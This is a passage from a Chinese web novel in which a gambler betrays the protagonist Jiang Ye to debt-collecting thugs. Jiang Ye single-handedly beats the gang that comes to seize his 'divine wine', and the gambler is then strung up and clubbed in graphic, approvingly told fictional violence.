“不要!不要啊!”
王大虎彻底崩溃了,疯狂地挣扎求饶,鼻涕眼泪糊了一脸,“三爷饶命!三爷!我能还钱!我一定能还钱!”
麻三不为所动,眼神冰冷,对左右使了个眼色。
两个打手上前,死死压住王大虎的胳膊,另一个则将他的右手死死按在一块沾满暗红血迹的石墩上。
“我嫂子!我嫂子有钱!”王大虎语无伦次地尖叫起来,“她叫林间雪!她现在跟了个有钱的男人,就在稻花村!她肯定有钱替我还债!”
“呵,你嫂子?”麻三满脸不屑,仿佛听到了天大的笑话,“你这种烂赌鬼的话,老子一个字都不信!全天下的赌鬼都说自己家亲戚有钱,我听得耳朵都起茧子了!”
他懒得再废话,抬脚,示意行刑的打手。
“动手!”
冰冷的刀锋高高举起,在空中划过一道森然的弧线。
死亡的阴影瞬间将王大虎笼罩。
“啊——!”
看着那即将落下的刀锋,王大虎爆发出一声不似人声的嘶吼,用尽了全身的力气喊道:“是真的!她男人叫江夜!他酿出了神酒!异虎神酒!他说一杯就要卖十两银子!”
“异虎神酒”四个字一出,麻三眼神一凝,拦住了行刑的打手。
最近县里确实有些风声,说下面村子里出了个奇人,酿出一种神酒,能治病强身,价值千金。他本以为是哪个乡巴佬吹牛皮,没放在心上,没想到今天从这烂赌鬼嘴里听到了同样的名头。
麻三示意手下松开王大虎,一把揪住他的衣领,将他从地上拎了起来,凑到面前,阴恻恻地问:“你最好给老子说清楚,要是敢有一个字的假话,老子把你舌头割下来喂狗!”
王大虎如蒙大赦,感觉自己从鬼门关前打了个
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转又回来了。他哪敢有半点隐瞒,为了活命,连滚带爬地跪在麻三脚下,竹筒倒豆子般将江夜的情况添油加醋地说了出来。
“三爷!千真万确啊!那江夜不知道走了什么狗屎运,发了大财,在村里盖了青砖大瓦房,比地主家还气派!”
“他还抢了我那俏嫂子,天天山珍海味地伺候着,身边还围着好几个漂亮娘们,日子过得跟皇帝一样!”
他一边说,一边比划,脸上满是嫉妒和怨毒。
“最厉害的就是那酒!叫什么异虎神酒,金黄色的,香得能把人魂都勾走!我们村的王囤,就喝了一小杯,几百斤的石磨,嘿!一下就举过头顶了!还有个老头,喝了一口,几十年的旧伤当场就好了!那不是神酒是什么?”
麻三身后的几个打手听得面面相觑,都觉得这小子疯了,在说书呢。
麻三却听得眼神越来越亮,他舔了舔干裂的嘴唇,追问:“那酒……真卖十两一杯?”
“可不是嘛!”王大虎见有戏,说得更起劲了,“那姓江的黑心肝,当着全村人的面说的,一小杯,就那么一小杯,就要十两银子!他还送了两葫芦给别人,那可是两葫芦啊!得值多少钱!”
王大虎说到这里,心疼得直抽抽,仿佛那两葫芦酒本该是他的。
他话锋一转,压低了声音,带着一丝蛊惑。
“三爷,那姓江的就是个走了运的泥腿子,仗着有几个臭钱,狂得很!他那院子里,堆满了粮食和肉干,还有一整瓮的神酒!就他一个人住,身边全是娘们,根本没什么防备!我……我前天晚上就是想进去拿点我应得的东西,结果被他养的一条狗给咬了……”
他指了指自己还在流脓的腿,把凶猛的银狼说成了一条普通的狗,就是为了让麻三觉得江夜不堪一击。
“三爷,你想想,那一瓮神酒,得值多少个二十两?那可是座金山啊!还有那几个娘们,个个都水灵得能掐出水来……”
麻三听着,呼吸已经变得粗重,眼里的凶光和贪婪几乎要凝成实质。
金山!美人!
这四个字在他脑子里疯狂冲撞。
他一把推开王大虎,在院子里来回踱步,心里飞快地盘算着。
一个打手凑上前,低声说:“三爷,这小子的话能信吗?别是坑咱们吧?”
麻三冷笑一声,一脚踹在王大虎肚子上:“小子,爷再问你最后一遍,这事有几分真?”
王大虎疼得缩成一团,哭喊道:“十分真!句句属实!三爷,你带我过去,要是我骗你,不用你动手,我自个儿把脑袋拧下来给你当夜壶!”
第122章 把神酒给我买回来
麻三深知“异虎神酒”这四个字背后可能牵扯的巨大利益,这已经不是他一个打手头子能做主的事了。
他不敢有丝毫耽搁,快步穿过喧闹的赌坊,直奔后院。
赌坊后院,一间雅致的厢房内,檀香袅袅。
一个脸上有道狰狞刀疤的男人,正闭目靠在太师椅上,慢悠悠地转动着拇指上的一枚翠玉扳指。他便是这万贯堂的掌柜,刀疤强。
“强哥。”
麻三推门而入,脸上平日的凶悍收敛得干干净净,只剩下小心翼翼的恭敬。
刀疤强眼皮都没抬一下,只是从鼻子里“嗯”了一声。
麻三不敢卖关子,连忙将从王大虎嘴里听来的事情,一五一十地详细汇报了一遍。
当听到异虎神酒时,刀疤强转动玉扳指的手指,猛地一顿。
他缓缓睁开眼,那双三角眼里闪烁着毫不掩饰的贪婪光芒,像一头嗅到血腥味的饿狼。
“把人带进来。”他的声音沙哑,透着一股阴冷的狠劲。
很快,被两个打手架着的王大虎,就跟一滩烂泥似的被拖了进来,扔在冰冷的地砖上。
刺鼻的尿骚味让刀疤强不悦地皱了皱眉。
王大虎一看到刀疤强脸上那道恐怖的伤疤,吓得更是魂飞魄散,整个人抖如筛糠,连连磕头求饶。
“抬起头来。”刀疤强语气平淡。
王大虎不敢不从,颤颤巍巍地抬起头,对上那双阴鸷的眼睛,瞬间感觉自己像是被一条毒蛇盯上了,浑身血液都快要凝固。
“把你刚才对麻三说的话,再给老子原原本本地说一遍。”刀疤强把玩着玉扳指,慢悠悠地开口,“记住,要是有半个字的假话……”
他没有说下去,但那眼神中的杀意,比任何威胁都来得可怕。
王大虎哪里敢有半点隐瞒,为了活命,他把对麻三说过的话,又对刀疤强重复了一遍。
他一边说,一边偷偷观察着刀疤强的脸色,见他对自己口中那“神酒”和“美人”越来越感兴趣,心里顿时有了底,说话也愈发大胆起来。
“强哥!我说的句句属实啊!那江夜就是个走了狗屎运的泥腿子,祖坟冒了青烟!”
王大虎跪在地上,唾沫横飞,脸上满是扭曲的嫉妒。
“他懂个屁的打猎!那头异虎,八成是他捡的漏,说不定是跟别的猛兽斗得两败俱伤,才被他白捡了便宜!”
“还有那狼群,当时村里人都上山了,加上队里李铁臂李师傅,这都能被他吹成是自己的本事!他本人就是个绣花枕头,中看不中用!”
为了让自己的话更有说服力,他甚至把自己偷东西被打的事情也拿出来歪曲。
“强哥您看我的腿!我……我就是想回去看看我嫂子,结果他二话不说,就放狗咬人!仗着有几个臭钱,就目中无人,狂得没边了!他那院子里,除了几个娘们,就一条狗,根本没什么防备!”
刀疤强静静地听着,手指有节奏地敲击着太师椅的扶手,一双三角眼微微眯起,谁也看不透他心里在想什么。
一瓮神酒……
那可就是一座移动的金山!
还有那几个水灵的娘们……
巨大的利益如同一团烈火,在他心中熊熊燃烧,将他最后的一丝理智也焚烧殆尽。
一个偏远山村的猎户,就算走了狗屎运,又能有多大能耐?
就算他真有两下子,能打得过异虎,难道还能挡得住自己手下这几十号专门干刀口舔血买卖的亡命徒?
想到这里,刀疤强心中再无半分疑虑,取而代之的是无尽的贪婪和狠厉。
他不再看地上如同一条死狗的王大虎,而是将目光转向了麻三。
“麻三。”
“在,强哥!”麻三立刻躬身应道。
刀疤强眼中闪过一道阴冷的寒芒,声音不大,却带着一股不容置疑的狠劲。
“多带些好手,去一趟稻花村。”
他顿了顿,慢悠悠地补充道:“把那神酒,给我客客气气地‘买’回来。要是那姓江的不识抬举……你知道该怎么做。”
“明白!”
麻三瞬间领会了“买”字的深意,脸上露出一抹残忍嗜血的狞笑。
他早就手痒了,这种去乡下地方烧杀抢掠的买卖,可是他的最爱!既能发财,又能过足瘾!
“强哥放心,保证给您办得妥妥帖帖!”麻三拍着胸脯,狞笑着领命。
王大虎听到刀疤强下了命令,整个人都兴奋得发起抖来。
他仿佛已经看到了江夜家被洗劫一空,那几个平日里高高在上的女人被这群恶棍蹂躏的凄惨景象。
……
次日清晨,大雪初歇,厚厚的积雪给稻花村披上了一层干净的银装。阳光洒在上面,反射出晃眼的光,整个村庄静谧得像一幅画。
这份宁静,很快被一阵杂乱而沉重的脚步声彻底撕碎。
“嘎吱、嘎吱……”
踩踏积雪的声音由远及近,十数名身着统一黑衣、腰间明晃晃挎着钢刀的彪形大汉,出现在了村口。他们个个满脸横肉,眼神凶悍,身上那股子血腥煞气,与这淳朴宁和的山村格格不入,像是闯入羊圈的狼群。
瘸着一条腿的王大虎,点头哈腰地跟在为首的麻三身侧。他走起路来一瘸一拐,姿态卑贱如狗,可他看
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向村子深处的眼神,却充满了怨毒与即将复仇的快感,他抬起手,谄媚地为麻三指着方向,那正是江夜家的所在。
村里早起扫雪的村民,乍然看到这阵仗,吓得手里的扫帚“啪嗒”一声掉在地上,连滚带爬地跑回家,死死地插上门栓。一时间,整个稻花村的门窗都紧紧关闭,只剩下一双双惊恐的眼睛,从门缝、窗隙里颤抖着向外偷看。
“天杀的,这是哪来的匪人?”
“看那架势,好像是冲着江夜家去的!”
王翠花也躲在角落里探出了半个脑袋,刚看到那群人的时候,也是吓得脸都白了。
可当她看清队伍里那个摇尾乞怜的瘸腿身影是王大虎,再看到那群凶神恶煞直奔江夜家而去时,她脸上的惊恐瞬间褪去,取而代之的是一种扭曲的狂喜。
“报应!报应来了!”她压低了声音,用只有自己能听到的音量恶毒地咒骂着,嘴角咧开一个幸灾乐祸的笑容,“让你狂!让你富!这下好了,招来催命的阎王了吧!活该!最好连人带房子,都给烧成灰!”
与此同时,王囤正在村口的大槐树下,刚准备正式开展招募护院的工作,就听到了村里的骚动。
他一回头,正好看见王大虎领着麻三一行人,杀气腾腾地朝着村子深处走去。
王囤的脸色“唰”地一下就变了,心头猛地一沉。
王大虎这个烂人,昨天才**夜兄弟教训,今天就领着一群一看就不是善茬的县城地痞回来,目标是谁,不言而喻!
他二话不说,拔腿就往江夜家的方向死命狂奔。他刚被委以重任,绝不能让江夜兄弟出事!
江峰家,温暖的屋里,王慧慧正温柔地给琼琼梳着两个小辫子。
“砰砰砰!”
院门被擂鼓般地敲响,一个平日里交好的邻居妇人,连滚带爬地冲了进来,脸上没有一丝血色。
“慧慧!不好了!出大事了!”妇人上气不接下气,指着外面,声音都在发抖,“外面来了一群打手混混!十几个人,都拿着刀,跟着王大虎那个天杀的,去……去小夜家了!”
王慧慧手里的木梳“啪”地掉在地上,脸色瞬间惨白。
正在屋里编着草绳的江峰,脸上一贯憨厚的笑容瞬间消失,取而代之的是一片冰冷的煞气。他猛地站起身二话不说抄起挂在墙上的猎刀,反手别在腰后,又取下那张用了多年的硬木弓和一壶锋利的狼牙箭。
“在家里锁好门,别出来。”
他回头,只对满脸惊惶的王慧慧留下这么一句沉稳的话,便大步流星地冲出家门,朝着弟弟家的方向,狂奔而去。
第123章 喝茶,看戏
大雪初歇,天地间一片澄澈。
江夜家的院子里,火墙散发出的融融暖意隔绝了外界的严寒,与廊外厚厚的积雪形成了两个截然不同的世界。
江夜靠在廊下的躺椅上,手边的小几上放着一壶刚沏好的热茶,正悠闲地看着雪景。
不远处,白梦夏与白梦秋姐妹俩坐在一起,低头做着针线活,阳光洒在她们专注的侧脸上,恬静美好。林间雪则在一旁,笨拙地学着,虽不熟练,但眉眼间已少了几分怯懦,多了几分安稳。
慕容晴与她们格格不入,她抱着自己那把削铁如泥的宝剑,正用一块鹿皮细细擦拭,剑身寒光流转,映着她那张扬美艳的脸,英气逼人。
一派宁静祥和,恍若世外桃源。
这份宁静,被一阵仓皇的脚步声和粗重的喘息声彻底打破。
“砰!”
院门被猛地撞开,王囤连滚带爬地冲了进来,一张脸涨得通红,上气不接下气,指着外面,话都说不囫囵。
“江……江夜兄弟!不……不好了!”他大口喘着粗气,眼中满是惊恐,“王大虎……王大虎那个挨千刀的,带……带了好多人过来!都……都拿着刀!”
话音未落,另一道身影也如疾风般从另一条小路冲了进来,正是江峰。
他没像王囤那般慌乱,但一张憨厚的脸此刻却布满了冰冷的煞气,手中那把跟随他多年的猎刀闪烁着森然寒光,腰后还别着硬弓和一壶狼牙箭。
“小夜,你快带她们躲起来!哥今天跟他们拼了!”
突如其来的变故,让院内的气氛瞬间凝固。
白梦夏姐妹和林间雪吓得俏脸瞬间没了血色,手里的针线活计散落一地。她们本能地紧紧靠在一起,身体微微发抖,美眸中满是惊恐和担忧。
“哼,来得正好!”
慕容晴却截然相反,她美眸中非但没有惧意,一双美眸中反而燃起了熊熊战意,她一把抄起擦拭得锃亮的佩剑,作势就要往外冲,“老娘正手痒,倒要看看是哪路杂碎,敢在你江夜的地盘上撒野!”
可她刚迈出一步,一只手便轻轻按在了她的肩膀上。
江夜不知何时已经站起身,对她摇了摇头。
他脸上不见丝毫紧张,甚至还带着一丝玩味,仿佛即将到来的不是一群手持利刃的凶徒,而是一出早就排演好的滑稽戏。
“别急。”
他声音平淡,却带着一股让人安心的力量。
慕容晴回头,对上他那双深邃平静的眼眸,心头那股暴烈的战意竟奇迹般地平复下来。
江夜回过头,看着满脸担忧的众女,还有一脸决绝的哥哥和惊魂未定的王囤,露出一个安抚的笑容。
“没事,都进屋去,把门关好。”他指了指温暖的堂屋,语气轻松得像是在吩咐一件再平常不过的小事,“看戏就行。”
看戏?
江峰和王囤集体懵了,脑子一时没转过弯来。这都火烧眉毛了,看什么戏?
在所有人惊愕、不解的目光中,江夜施施然走到院子正中,不紧不慢地从廊下搬了张椅子,就那么大喇喇地放在了正对院门的位置。
然后,他又折返回去,拎起小几上的茶壶和茶杯。
“咕嘟……咕嘟……”
清亮的茶水被注入杯中,在冬日阳光下腾起袅袅热气。
江夜坐下,翘起二郎腿,端起茶杯,吹了吹热气,悠闲地抿了一口。
那副闲适惬意的模样,仿佛他不是在等待一场血腥的厮杀,而是在自家的后花园里,等待一场午后的春雨。
不过一会儿,一声震耳欲聋的巨响,自江家院门响起。
麻三带着十几个手按刀柄的彪形大汉鱼贯而入,煞气腾腾地散开,将整个院子堵得水泄不通。
他们一个个眼神凶悍,扫视着院内的一切,眼中毫不掩饰地流露出贪婪。
瘸着一条腿的王大虎,点头哈腰地跟在麻三身后,像一条狐假虎威的哈巴狗。他看着这气派的院子,再想到自己那冰冷的破屋,眼中的怨毒和嫉妒几乎要喷出火来。
麻三的目光在院里扫了一圈,最后落在了正中央,那个悠闲品茶的年轻人身上。
他微微一愣。
来之前,他设想过无数种可能。
对方或许会跪地求
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饶,或许会负隅顽抗,又或者直接吓得屁滚尿流。
可他怎么也没想到,会是眼前这副景象。
这小子……是被吓傻了?
麻三脸上的狞笑更甚,只觉得这趟差事简直轻松得可笑。
他自顾自地拉过旁边一张备用的椅子,大马金刀地坐下,然后极其嚣张地将脚翘在了院中的石桌上,用一种施舍般的语气,懒洋洋地开口:“小子,听说你手上有好东西,叫什么……异虎神酒?”
他伸出三根又粗又短的手指,在江夜面前晃了晃。
“三两银子,你那一瓮酒,爷都要了。”
那语气,仿佛这三两银子不是在买酒,而是在赏赐,是天大的恩赐。
跟在后面的王大虎一听,脸上闪过一丝肉痛,但随即被即将到来的复仇快感所取代。他看着江夜,等着看他痛哭流涕、悔不当初的模样。
然而,江夜连眼皮都没抬一下。
他依旧保持着那个姿势,慢条斯理地端起茶杯,轻轻吹了吹水面上的热气,仿佛眼前这群凶神恶煞的匪徒,不过是一团碍眼的空气。
随即,两个字从他口中淡然吐出。
“不卖。”
声音不大,却清晰地传入了在场每一个人的耳朵里,在这剑拔**张的院子里,显得格外突兀。
麻三脸上的笑容,瞬间僵住。
他身后的十几个打手也愣住了,面面相觑,怀疑自己是不是听错了。
麻三掏了掏耳朵,脸上的横肉抽动了一下,那股子嚣张的气焰,终于被一丝阴沉所取代。
“小子,你**说什么?有种再说一遍!”
他死死盯着江夜,眼神变得危险起来,“你可知道老子是谁的人?青石县,万贯堂!我们强哥,刀疤强!这名号,你没听过?”
江夜放下茶杯,终于抬起头,正眼看向麻三。
只是那眼神里,没有丝毫畏惧,反而勾起一抹玩味的弧度,像是在看一个上蹿下跳的猴子。
他看着麻三那张错愕又愤怒的脸,将刚才的话,清晰地重复了一遍,只是这次,多了一个字。
“不卖,滚。”
第124章 一起上
江夜说出的三个字,轻飘飘的,像雪花一样落在院子里,却比这数九寒冬的冰雪还要冷,还要硬。
整个院子的空气,仿佛在这一瞬间凝固了。
麻三脸上的狞笑僵住了,他身后的十几个打手也全都愣住了,一个个面面相觑,怀疑自己的耳朵出了问题。
青石县的地界,谁敢这么跟万贯堂的人说话?谁敢这么跟刀疤强的人说话?
这小子是疯了?还是活腻了?
躲在屋里的江峰和王囤,心已经提到了嗓子眼。白梦夏和林间雪也是紧张得手心全是冷汗。
唯有慕容晴,一双美眸亮得惊人,非但没有半分惧意,反而满是看好戏的兴奋,她甚至觉得江夜这副天王老子来了也不放在眼里的样子,帅得一塌糊涂。
短暂的死寂之后,麻三的脸以肉眼可见的速度,从错愕转为涨红,再从涨红,变成了猪肝般的酱紫色。
“哈……哈哈……哈哈哈哈!”
他像是听到了天底下最好笑的笑话,夸张地大笑起来,笑得前仰后合,脸上的横肉都在颤抖。
“好!好小子!有种!”
笑声戛然而止,麻三的脸瞬间阴沉得能滴出水来。
“砰!”
他猛地一脚踹翻了身前的石桌,那张嚣张的脸因为极致的愤怒而扭曲,五官都挤在了一起。
“给脸不要脸的东西!”
他指着江夜,扯着嗓子怒吼,唾沫星子喷出老远。
“老子今天就让你知道知道,‘死’字是怎么写的!”
他对着身后那群早已按捺不住的打手,猛地一挥手,发出了残忍的指令。
“给我上!先把这小子的四肢打断!把他舌头割了!老子要让他跪在地上,看着我们搬光他的东西,玩他的女人!”
“吼!”
十几个彪形大汉发出一声野兽般的狞笑,齐刷刷地从腰间抽出了明晃晃的钢刀。
一时间,刀光霍霍,映着雪地,晃得人睁不开眼。
森然的煞气瞬间充斥了整个院落,他们像一群闻到血腥味的饿狼,狞笑着,一拥而上,从四面八方扑向院子中央那个依旧安坐的身影。
跟在最后面的王大虎,看到这一幕,整个人都兴奋得发起抖来。
他那条被咬伤的腿仿佛都不疼了,脸上露出极致扭曲的快意,双眼死死盯着江夜,仿佛已经看到了他被乱刀砍成肉泥,血溅当场的凄惨下场!
让你狂!让你富!让你放狗咬我!
今天就是你的死期!
然而,面对这扑面而来的刀光剑影,面对这足以将任何一个正常人吓到肝胆俱裂的场面,江夜依旧安坐在椅子上,神情没有丝毫变化。
他甚至还有闲心端起桌上那杯未喝完的茶,在刀锋及体的前一刻,轻轻吹了吹热气,慢悠悠地,将最后一口茶水送入口中。
然后,他动了。
就在最前面那把钢刀的刀锋,距离他脖颈不足三寸的瞬间。
众人只觉得眼前一花,椅子上那个悠闲的身影,便如青烟一般,突兀地消失在了原地。
冲在最前面的那个大汉,势在必得的一刀,劈了个空。
他心中一惊,还没来得及做出任何反应,只觉得手腕处传来一股根本无法抗拒的巨力。
“咔嚓!”
一声清脆到令人牙酸的骨骼碎裂声响起。
他眼睁睁地看着自己的手腕,以一个诡异的角度向后折断,剧痛还未传到大脑,手中的钢刀便已脱手飞出。
紧接着,一只脚掌在他眼前急速放大。
“砰!”
沉闷如擂鼓般的巨响中,他整个人如同被一头发狂的巨象撞中,胸骨瞬间塌陷,口中喷出一道血箭,以比冲上来时更快的速度倒飞出去,接连撞翻了身后两个同伴,才像一滩烂泥般摔在地上,抽搐两下,没了动静。
这一切,快得只在电光石火之间。
不等其他人反应过来,那道鬼魅般的身影已经如虎入羊群,冲入了人群之中。
院子里,瞬间响起了一片密集如爆豆般的骨裂声和沉闷的击打声,中间还夹杂着一声声不似人腔的凄厉惨嚎。
“砰!”
一个大汉被一拳砸在脸上,半边脸颊都塌了下去,混合着牙齿的血沫喷洒而出,整个人陀螺似的旋转着飞了出去。
“咔嚓!”
另一个大汉高高举起的钢刀,被两根手指轻描淡写地夹住,随即,那柄精钢打造的刀身,竟被硬生生折断!断刃旋转着飞回,噗嗤一声,深深没入了他自己的大腿。
江夜的身影在人群中穿梭,闲庭信步,每一次出手都简单直接,却又快到极致,精准到极致。
或拳,或掌,或指,或腿。
没有一招是多余的,每一击都伴随着一声凄厉的惨嚎,和一个抛飞出去的人影。
那些平日里在县城横行霸道、凶神恶煞的打手,此刻在他面前,脆弱得就像纸糊的玩偶,连他的衣角都碰不到一下。
从第一个人倒下,到最后一个人飞出。
整个过程,甚至不到十个呼吸。
当最后一个惨叫声落下,整个院子,再次陷入了一片诡异的死寂。
只是,这片死寂之中,多了一股浓郁的血腥味,和一片压抑的呻吟。
先前还煞气腾腾的十几个彪形大汉,此刻已经东倒西歪地躺满了整个院子。
有的断了手,有的断了脚,有的胸口塌陷,有的满脸是血,一个个蜷缩在雪地里,像虾米一样痛苦地抽搐、哀嚎,彻底失去了战斗力。
那些曾经象征着凶悍的钢刀,此刻也断的断,弯的弯,零零散散地插在雪地里,像一堆破铜烂铁。
全场,唯一还站着的,只剩下江夜。
他站在院子中央,拍了拍手上并不存在的灰尘,身上一尘不染,甚至连呼吸都没有丝毫紊乱。
仿佛刚刚不是经历了一场血腥的厮杀,而只是随手拍**十几只嗡嗡叫的苍蝇。
麻三脸上的狞笑,早已彻底凝固,像是被冰雪冻住的拙劣面具,一点点龟裂,最终化为极致的骇然与恐惧。
他僵硬地转动脖子,看着满地打滚、蜷缩抽搐的手下,每一个都是他从赌坊精挑细选出来的好手,此刻却像一群被踩烂的蚂蚁,毫无还手之力。
他的大脑,一片空白。
怎么会这样?
这**到底是个什么怪物?
站在他身后的王大虎,脸上那股子即将大仇得报的扭曲得意,也同样僵住了。他眼睁睁看着那十几个凶神恶煞的打手,在一个照面间就被摧枯拉朽般地放倒,
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那股凉气,瞬间从脚底板直冲天灵盖。
他双腿筛糠般地剧烈颤抖,牙齿上下磕碰,发出“咯咯”的声响。一股温热的液体,不受控制地从他裤裆里流出,瞬间浸湿了棉裤,骚臭味在冰冷的空气中弥漫开来。
他想跑,可双脚就像被钉在了地上,动弹不得。
江夜拍了拍手上并不存在的灰尘,仿佛只是做了一件微不足道的小事。
然后,他动了。
他缓步走向麻三。
脚步不快,每一步都踩在厚厚的积雪上,发出“咯吱、咯吱”的声响。但这声音落在麻三的耳朵里,却比催命的鼓点还要惊心动魄。
随着江夜的靠近,那股无形的压力,像一座大山般狠狠压下,几乎让他窒息。
“啊!”
无边的恐惧终于攫住了他,麻三猛地回过神来,发出一声不似人腔的怪叫,扭头就想往院外跑。他现在只有一个念头,逃!离这个魔鬼越远越好!
然而,他刚转过身,还没跑出两步。
江夜的脚步停下,他甚至都懒得追,只是随意地弯腰,从雪地里捡起一块指甲盖大小的石子。
屈指,一弹。
动作写意得像是孩童在玩闹。
“咻!”
石子却化作一道肉眼难辨的残影,带着尖锐的破空声,撕裂空气,精准无比地射中了麻三奔跑中的左腿膝盖。
“噗!”
一声闷响。
“啊——!”
一声比杀猪还要凄厉百倍的惨嚎,瞬间划破了村庄的宁静。
麻三只觉得膝盖像是被一柄烧红的铁锤狠狠砸中,整个左腿瞬间失去了所有知觉。他身体一软,“噗通”一声,整个人重重地跪倒在地。
剧痛如潮水般袭来,他抱着血流如注的左腿,在雪地里像条蛆虫般疯狂翻滚、哀嚎。
那钻心刺骨的疼痛,让他瞬间涕泪横流,鼻涕眼泪糊了满脸。
求生的本能压倒了一切,他再也顾不上什么万贯堂的脸面,什么刀疤强的威严,连滚带爬地跪向江夜,像捣蒜一样疯狂磕头。
“砰!砰!砰!”
“好汉饶命!爷!祖宗!是我有眼不识泰山!是我狗眼看人低!求您大人有大量,把我当个屁给放了吧!我再也不敢了!再也不敢了!”
他哭得一把鼻涕一把泪,额头在冰冷的地面上磕得鲜血淋漓,只求能保住一条狗命。
江夜居高临下地看着脚下这个丑态百出的东西,眼神冰冷如万年寒冰,没有一丝一毫的波澜。
他缓缓开口,声音不大,却带着不容置疑的威严。
“回去告诉刀疤强,万贯堂的生意,我不做。”
他顿了顿,目光扫过院子里那些还在呻吟的打手,最后落回麻三那张充满恐惧的脸上,冷冷吐出一个字。
“滚。”
这一个字,落在麻三耳中,不啻于天籁。
他如蒙大赦,强忍着断腿的剧痛,对着地上那些还能动弹的手下疯狂嘶吼:
“都他妈愣着干什么!快滚!滚啊!”
一时间,院子里鸡飞狗跳。
那些断手断脚的打手们,爆发出惊人的求生欲,互相搀扶着,连滚带爬,像一群被吓破了胆的丧家之犬,争先恐后地逃离了这个让他们永生难忘的恐怖院落。
第125章 吊起来,开打
一直躲在麻三身后,早已吓得三魂不见七魄的王大虎,见势不妙,也矮下身子,想趁乱混在人群里溜之大吉。
他此刻心中只有一个念头,逃!逃离这个魔窟,逃离江夜这个魔鬼!
眼看他就要混出院门,脸上甚至已经浮现出劫后余生的狂喜。
江夜却仿佛脑后长了眼睛一般,只是随意地弯腰,从地上捡起一片边缘锋利的碎木片。
屈指,一弹。
“咻!”
那块毫不起眼的碎木片,却在离手的瞬间,化作一道肉眼难辨的乌光,带着尖锐刺耳的破空声,以一种刁钻无比的角度,精准地射向王大虎那条还完好的腿。
正要一步迈出院门的王大虎,只觉另一条腿的膝盖窝猛地一麻,仿佛被蝎子狠狠蛰了一下。
紧接着,不等他做出任何反应,一声清脆到令人牙酸的“咔嚓”声,清晰地在他耳边炸响。
一股比之前断腿时还要猛烈百倍的撕心裂肺的剧痛,轰然爆发!
“啊——!”
一声不似人声的凄厉惨嚎,尖锐得几乎要刺破人的耳膜。
王大虎整个人如同被抽掉了所有的骨头,瞬间失去支撑,身体一软,重重地扑倒在门槛上,脸颊和冰冷的积雪来了个结结实实的亲密接触。
两条腿,一条被银狼咬断了筋骨,另一条,则被这不起眼的一块木片洞穿了膝盖,彻底废了!
他趴在雪地里,身体剧烈地抽搐着,涕泪横流。
这突如其来的一幕,让院子里所有逃窜的动作都为之一滞。
那些正往外跑的打手们,骇然回头,看到王大虎的惨状,又看了看远处那个云淡风轻的身影,一股寒气从脚底板直冲天灵盖,魂都快吓飞了。他们再也不敢有丝毫停留,手脚并用,以更快的速度,狼狈不堪地消失在了村道尽头。
院内,江峰和王囤看到这一幕,胸中那股憋了许久的恶气,终于酣畅淋漓地吐了出来,只觉得通体舒泰,满脸都是解气的快意。
这个祸害!总算是遭了报应!
堂屋门后,白梦夏姐妹和林间雪俏脸上,早已吓得没了血色。刚才那声骨头碎裂的脆响,让她们的心都跟着揪紧了。
可当她们的目光,落在院中那道挺拔如松的背影上时,所有的恐惧和惊慌,都奇迹般地化作了前所未有的踏实与安宁。
仿佛只要这个男人在,天塌下来,都砸不到她们分毫。
江夜缓缓转过身,冰冷的目光扫过院子,最后落在那滩还在蠕动的烂肉上,眼神里没有一丝一毫的怜悯,只是将视线投向一旁满脸煞气的王囤,冷冷吐出三个字。
“吊起来。”
王囤闻言,浑身一震,随即一股热血直冲头顶。
这是江夜交给他这个护院队长的第一个命令!
他挺直腰板,眼中凶光一闪,朝着江夜重重抱拳:“是!”
话音未落,他便大步流星地走上前,一把揪住王大虎那满是污泥和血水的头发,像拖一条死狗一样,将他从门口硬生生拖到了院子中央那棵光秃秃的老槐树下。
雪地上,留下一道触目惊心的血痕。
“江夜兄弟,我来帮忙!”
江峰满腔的怒火也早已被点燃,他二话不说,从墙角抄起一捆备用的麻绳,上前帮着王囤,三下五除二就将哀嚎求饶的王大虎捆了个结结实实。
“别……别吊我……我错了……我真的错了……小夜……江夜兄弟……看在我嫂子的份上……饶了我吧……”王大虎已经语无伦次,只能本能地哭喊求饶。
然而,他的求饶换来的,只是江峰和王囤更用力的捆绑。
两人合力,将绳子的一头扔上粗壮的树杈。
在王大虎愈发凄厉绝望的惨叫声中,两人猛地一拉绳子。
王大虎那肥硕的身躯,便被一点点地吊离地面,像一块被挂起来的腊肉,在半空中无助地挣扎、摇晃。
江夜看着在半空中扭动哀嚎的王大虎,脸上依旧没有任何表情,那双深邃的眸子冷得像院子里的积雪。
他转头看向王囤,冷冷吐出两个字。
“开打。”
江峰和王囤对视一眼,胸中那股积压已久的恶气再也压抑不住。
两人从墙角抄起两条手臂粗的柴火棍,眼中凶光毕露。
“畜生!你也有今天!”
江峰怒吼一声,抡圆了棍子,用尽全身的力气,狠狠一棍抽在了王大虎的后背上!
“啪!”
一声沉闷的巨响,在寂静的院子里炸开。
被吊在半空的王大虎,身体猛地一弓,像只被煮熟的大虾。
紧接着,一声比之前任何一次都要凄厉百倍的惨嚎,从他喉咙里爆发出来,那声音尖锐得几乎能刺破人的耳膜!
王囤也是满脸煞气,手里的棍子带着风声,狠狠砸在了王大虎的大腿上!
“啪!”
“啊——!”
棍棒加身,血肉模糊。
沉闷的击打声和撕心裂肺的
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惨叫声交织在一起,在寂静的雪后清晨,传遍了整个稻花村。
村子里,家家户户的院门都紧闭着。
村民们本以为那群凶神恶煞的城里人走了,事情就算过去了,一个个正拍着胸口后怕。
可这突如其来、连绵不绝的惨叫,让所有人的心又一次提到了嗓子眼。
这声音,太惨了,光是听着就让人头皮发麻,浑身起鸡皮疙瘩。
好奇心终究战胜了恐惧,一扇扇院门又被悄悄拉开一道缝隙。
无数双眼睛,从门缝里、从墙头后,惊疑不定地望向村东头江夜家的方向。
当他们看清院子里的景象时,所有人,集体倒吸了一口冷气。
“嘶——”
此起彼伏的抽气声,在村子的各个角落响起。
只见江家院子中央,那个平日里好吃懒做、横行乡里的王大虎,此刻正像一条被挂起来的死猪,浑身是血地吊在老槐树上。
江峰和王囤,两个平日里老实巴交的男人,此刻却像两尊怒目金刚,手里的木棍一下下地,狠狠抽打在王大虎身上。
每一下,都带起一蓬血雾。
每一下,都伴随着一声不似人腔的惨嚎。
而在这血腥画面的正前方,江夜,就那么安安静静地站着。
他身上一尘不染,表情淡漠,仿佛眼前发生的一切都与他无关。冬日的阳光照在他身上,却驱不散他身上那股子令人心悸的寒意。
村民们的大脑,一片空白。
这还是那个他们认识的江夜吗?
他们想起那些**夜一招放倒的凶悍打手,再看看眼前这杀鸡儆猴的血腥场面,一股无法言喻的恐惧,从脚底板直冲天灵盖。
这不是恐惧,这是敬畏!
村西头,王翠花家。
她也正缩在门后,伸长了脖子往外看。
